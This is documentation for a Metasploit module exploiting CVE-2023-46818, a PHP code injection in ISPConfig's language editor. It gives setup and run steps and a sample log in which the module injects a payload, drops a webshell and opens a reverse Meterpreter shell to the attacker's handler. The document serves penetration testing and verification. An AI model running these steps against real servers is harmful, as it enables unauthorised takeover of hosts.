## Vulnerable Application

ISPConfig before 3.2.11p1 is vulnerable to PHP code injection via the language file editor (language_edit.php) if the
`admin_allow_langedit` option is enabled.
An authenticated administrator can inject arbitrary PHP code, leading to remote code execution on the server.

- Vendor Advisory: https://www.ispconfig.org/
- CVE: [CVE-2023-46818](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- PoC/Details: [https://github.com/SyFi/CVE-2023-46818](https://github.com/SyFi/CVE-2023-46818)
- Exploit writeup: [https://karmainsecurity.com/KIS-2023-13](https://karmainsecurity.com/KIS-2023-13)

### Setup Example

1. Download and install ISPConfig (vulnerable version, e.g., 3.2.11 or earlier)
2. Enable `admin_allow_langedit` in the ISPConfig configuration.
3. Create an admin user for testing.

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/linux/http/ispconfig_lang_edit_php_code_injection`
3. Set the `RHOSTS`, `USERNAME`, and `PASSWORD` options
4. Set `TARGETURI` if ISPConfig is not at the web root
5. Run the module
6. You should get a Meterpreter or command shell session as the web server user.

## Options

### USERNAME
The ISPConfig administrator username to authenticate with.

### PASSWORD
The ISPConfig administrator password to authenticate with.


## Scenarios

### ISPConfig 3.2.11 (or earlier), Ubuntu 20.04

```
msf exploit(linux/http/ispconfig_lang_edit_php_code_injection) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if the target is ISPConfig...
[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t'
[+] Login successful!
[+] ISPConfig version detected: ISPConfig Version: 3.2.10
[+] The target appears to be vulnerable. Version: ISPConfig Version: 3.2.10
[*] Attempting login with username 'admin' and password 'RGT2WvpoALJXh8t'
[+] Login successful!
[*] Checking if admin_allow_langedit is enabled...
[+] Language editor is accessible - admin_allow_langedit appears to be enabled
[*] Injecting PHP payload...
[+] Extracted CSRF tokens: ID=language_ed..., KEY=86845285663...
[*] Sending stage (40004 bytes) to 192.168.168.186
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.186:58822) at 2025-07-07 11:51:12 +0200


meterpreter >
meterpreter > sysinfo
Computer    : server1
OS          : Linux server1 6.8.0-60-generic #63~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 22 19:00:15 UTC 2 x86_64
Meterpreter : php/linux
```

## Notes
- The module requires valid ISPConfig admin credentials and the `admin_allow_langedit` option enabled.
- The shell is removed after exploitation if `DELETE_SHELL` is true.
- The exploit drops a PHP webshell and triggers the payload for Meterpreter or command shell access.
